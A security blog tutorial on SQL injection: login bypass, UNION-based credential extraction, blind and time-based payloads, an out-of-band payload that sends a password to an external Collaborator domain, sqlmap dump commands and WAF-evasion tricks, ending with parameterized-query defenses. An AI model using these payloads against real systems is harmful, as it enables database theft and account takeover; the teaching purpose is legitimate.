# A complete conquest of SQL injection attacks [2026]: UNION, blind, time-based, sqlmap, WAF bypass — a version faithful to the official docs

> An in-depth look at SQL injection (SQLi) attack techniques, faithful to the PortSwigger Web Security Academy. Retrieving hidden data, subverting authentication logic, lateral movement via UNION, identifying the column count and data types, blind SQLi (boolean conditions, time-based, OAST), hands-on sqlmap, the basics of WAF bypass, and the root-cause defense via parameterized queries — explained with real payloads limited to your own lab.

- Published: 2026-06-28
- Author: 友田 陽大
- Tags: セキュリティ, ホワイトハッカー, SQLインジェクション, 脆弱性診断, Webセキュリティ
- URL: https://tomodahinata.com/en/blog/sql-injection-attack-techniques-union-blind-sqlmap-waf-bypass-guide
- Category: 実践Webハッキング技法
- Pillar guide: https://tomodahinata.com/en/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## Key points

- The essence of SQLi is 'data mixing into the query's structure.' Inserting one `'` and observing errors or behavior changes is the first step of detection. Try it in the string, numeric, ORDER BY, and UNION contexts.
- The visible attack: UNION-based. ① identify the column count with `ORDER BY n` or `UNION SELECT NULL,...` ② find a column that can display a string ③ enumerate table/column names with `information_schema` ④ extract credentials — moving laterally in this order.
- The invisible attack: blind SQLi. Even with no result in the response, extract information bit by bit via boolean conditions (the display changes by true/false), time-based (delay with `SLEEP`/`pg_sleep`), and OAST (exfiltrate via external communication).
- Automation is sqlmap. It can automate from detection to enumeration and data extraction, but only against your own assets / authorized scope. Control behavior with `--risk`/`--level`/`--technique`, and never point it at an unauthorized target.
- The root-cause defense is parameterized queries (placeholders), full stop. Eliminate string concatenation and always treat input as 'data.' Use an allowlist for table names and ORDER BY columns. A WAF is one layer of defense in depth, not a substitute for design.

---

The reason injection keeps occupying the top ranks of the [OWASP Top 10:2025](https://owasp.org/Top10/2025/) is simple: **when it lands, the impact is devastating.** SQL injection (SQLi) reaches from theft of the entire database to authentication bypass and, sometimes, server takeover. This article explains those attack techniques faithfully to the [PortSwigger Web Security Academy](https://portswigger.net/web-security/sql-injection), but at a hands-on granularity.

> **The absolute premise of this cluster:** all payloads below are executed only within a [legal lab](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide) (localhost-only OWASP Juice Shop / DVWA) or a scope authorized in writing. **Sending to an unauthorized target is itself an attack** and connects directly to the Unauthorized Access Act, etc. (→ [the legal guide](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)). For the map of the entire attack class, see the [pillar](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide).

---

## 1. The essence of SQLi — data mixing into the query structure

An app becomes vulnerable when it embeds user input into SQL via string concatenation.

```text
# 脆弱な組み立て（概念）
"SELECT * FROM products WHERE category = '" + input + "' AND released = 1"
```

Here, put `'` into `input` instead of `Gifts`, and the query syntax breaks.

```sql
SELECT * FROM products WHERE category = ''' AND released = 1   -- 構文エラー
```

**This "error or behavior change" is the first step of detection.** As PortSwigger shows, try in order `'`, `--` (comment), `OR 1=1`, time delays, and OAST payloads to probe whether input mixes into the query.

---

## 2. Subverting application logic

The most classic and powerful is the login authentication bypass. Suppose the login query is conceptually this.

```sql
SELECT * FROM users WHERE username = 'wiener' AND password = 'secret'
```

Put **`administrator'--`** into `username`, and everything after is commented out, erasing the password check.

```sql
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```

**You can log in as administrator without knowing the password.** This is the textbook case of "subverting the application's logic."

---

## 3. UNION-based attack — moving laterally to other tables

When the result is displayed in the response, you can use `UNION SELECT` to **piggyback data from another table.** PortSwigger's procedure is mechanical.

### 3.1 Identify the column count

UNION fails unless **the column counts of the preceding and following queries match.** First, work out the column count.

```sql
-- 方法A: ORDER BY をインクリメント。エラーになる手前が列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- ここでエラー → 列数は 2

-- 方法B: NULL を増やしながら UNION SELECT。成功した個数が列数
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--   -- 成功 → 列数は 2
```

### 3.2 Find a column that can display a string

To put extracted data on the screen, you need **a column that can take a string.**

```sql
' UNION SELECT 'a',NULL--   -- 'a' が表示されれば1列目は文字列OK
' UNION SELECT NULL,'a'--   -- 2列目で試す
```

### 3.3 Enumerate the DB's metadata and extract credentials

Many DBs self-describe their schema via `information_schema`.

```sql
-- テーブル名を列挙
' UNION SELECT table_name, NULL FROM information_schema.tables--
-- 狙ったテーブルの列名を列挙
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- 資格情報を抜く（複数列を連結して1列に収める）
' UNION SELECT username || '~' || password, NULL FROM users--
```

> **Mind the dialect per DB:** string concatenation is `||` for Oracle/PostgreSQL and `CONCAT()` for MySQL. Comments are `--` (with a trailing space) or `#` (MySQL). Version retrieval is `SELECT @@version` (MySQL/MSSQL) / `SELECT version()` (PostgreSQL) / `SELECT banner FROM v$version` (Oracle). **First confirm the DB type with "examining the database"** and everything after becomes much easier.

---

## 4. Blind SQLi — extract even when you can't see the result

When the result doesn't appear in the response (but the behavior changes), it's **blind SQLi.** PortSwigger lists four families.

### 4.1 Boolean-condition based

Using the fact that **the display changes** by "whether the condition is true," guess bit by bit.

```sql
-- パスワード1文字目が 's' か？を真偽で判定
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='s'--
-- 「Welcome back」が出れば真、出なければ偽。文字を総当たりして1文字ずつ確定
```

### 4.2 Time-based (time-delay)

If even the display doesn't change, use **response time** as the signal.

```sql
-- PostgreSQL: 条件が真なら10秒待つ
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
-- MySQL: 条件が真なら SLEEP(10)
' AND IF(1=1, SLEEP(10), 0)--
-- MSSQL: WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

If the response is delayed by 10 seconds, the condition is true. **"Slow = 1, fast = 0"** to extract information.

### 4.3 OAST (out-of-band)

Make the DB **communicate externally** and use that inbound itself as the signal ([Burp Collaborator](/blog/burp-suite-getting-started-proxy-repeater-intruder-web-security-testing-guide) is the staple). Even in an environment where the HTTP response is invisible behind a firewall, DNS/HTTP inbound often gets through, making it powerful.

```sql
-- Oracle: 抽出したデータをサブドメインに載せてDNS解決させる（概念）
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % p SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<collaborator-id>.oastify.com/">%p;]>'),'/x') FROM dual--
```

---

## 5. sqlmap — automation (authorized scope only)

Once you understand the manual moves, automate with `sqlmap`. **But the target is only your own assets / authorized scope.**

```bash
# Burpで保存したリクエストを食わせる（Cookie/認証込みで再現性が高い）
sqlmap -r request.txt --batch \
  --level=2 --risk=2 \           # 試すペイロードの深さ/危険度（上げるほど侵襲的）
  --technique=BEUST \            # B:ブール E:エラー U:UNION S:スタック T:時間
  --dbs                          # まずDB一覧を列挙

# 狙ったテーブルを抜く
sqlmap -r request.txt --batch -D shop -T users --dump
```

> Raising `--risk`/`--level` increases detection power but also **invasiveness** (trying data-modifying payloads, etc.). In an authorized scope close to production, agree on the impact range with the client before raising them. **The more automated the tool, the more fatal the correctness of where you point it.**

---

## 6. The basics of WAF bypass — proof that "it's not a substitute for design"

A WAF (Web Application Firewall) blocks known payloads by pattern, but **it can be bypassed with equivalent transformations.** This is the flip side of "a WAF is one layer of defense in depth, not a root-cause defense."

```sql
-- 代表的な等価変換（教育目的・自分のlab限定）
'/**/UNION/**/SELECT/**/...   -- 空白をコメントに置換
'/*!50000UNION*/ SELECT ...   -- MySQLのバージョン付きコメント
%55NION %53ELECT              -- URLエンコード/大小混在
' UNiOn sElEcT ...            -- 大文字小文字の混在
```

**That's exactly why, rather than relying entirely on a WAF, the main line is to "not let SQLi succeed in the first place" with the parameterized queries below.**

---

## 7. [Defender side] Root-cause defense — parameterized queries, full stop

Here's the part that maximizes the value of assessment. **Now that you understand the attack, how do you crush it by design?**

PortSwigger's conclusion is clear: **parameterized queries (placeholders).** Make input always treated as "data," not "code."

```ts
// ❌ 脆弱：文字列連結（入力がクエリ構造に混入する）
const rows = await db.query(
  `SELECT * FROM products WHERE category = '${category}'`
);

// ✅ 安全：プレースホルダ。値は常に「データ」として束縛される
const rows = await db.query(
  "SELECT * FROM products WHERE category = $1",
  [category]
);
```

However, there are **contexts placeholders can't protect.** Table names, column names, and the `ORDER BY` clause are identifiers, not values, so they can't be bound. **Protect these with an allowlist.**

```ts
// ORDER BY の列名はバインドできない → 許可リストで検証（DRYな単一の真実源）
const SORTABLE = { name: "name", price: "price", created: "created_at" } as const;

function sortColumn(input: string): string {
  const col = SORTABLE[input as keyof typeof SORTABLE];
  if (!col) throw new Error("invalid sort column"); // 想定外は即拒否
  return col;
}
```

- **ORMs/query builders** (Prisma, Drizzle, Kysely) parameterize by default, so **just avoiding string concatenation in raw SQL** prevents most of it. But beware escape hatches like `$queryRawUnsafe`.
- Preventive measures specific to **Supabase/PostgREST + RPC** are detailed in [SQLi defense for Supabase × PostgreSQL](/blog/supabase-postgres-sql-injection-rpc-prevention-guide).
- **Defense in depth**: layer a least-privilege DB user (a read-only role for read paths), a WAF, and suppression of error messages.

---

## 8. Summary

- **Detection**: insert `'` and observe errors/behavior changes. In the string, numeric, ORDER BY, and UNION contexts.
- **UNION**: identify column count → find a string column → enumerate `information_schema` → extract credentials.
- **Blind**: bit by bit via boolean conditions, time-based (`SLEEP`/`pg_sleep`), and OAST.
- **sqlmap**: automation is powerful. But the target is only your own assets / authorized scope.
- **Root-cause defense**: parameterized queries, full stop. Identifiers via allowlist. A WAF is one layer, not a substitute for design.

Next, head to [the complete conquest of XSS attacks](/blog/xss-attack-techniques-reflected-stored-dom-csp-bypass-guide), the king of client-side. Understanding the injection class directly raises the resolution of defensive design.

---

### References (official primary sources)

- [PortSwigger: SQL injection](https://portswigger.net/web-security/sql-injection) / [UNION attacks](https://portswigger.net/web-security/sql-injection/union-attacks) / [Blind SQL injection](https://portswigger.net/web-security/sql-injection/blind) / [SQLi cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
- [OWASP: SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html) / [OWASP Top 10:2025](https://owasp.org/Top10/2025/)
- [sqlmap official](https://sqlmap.org/)
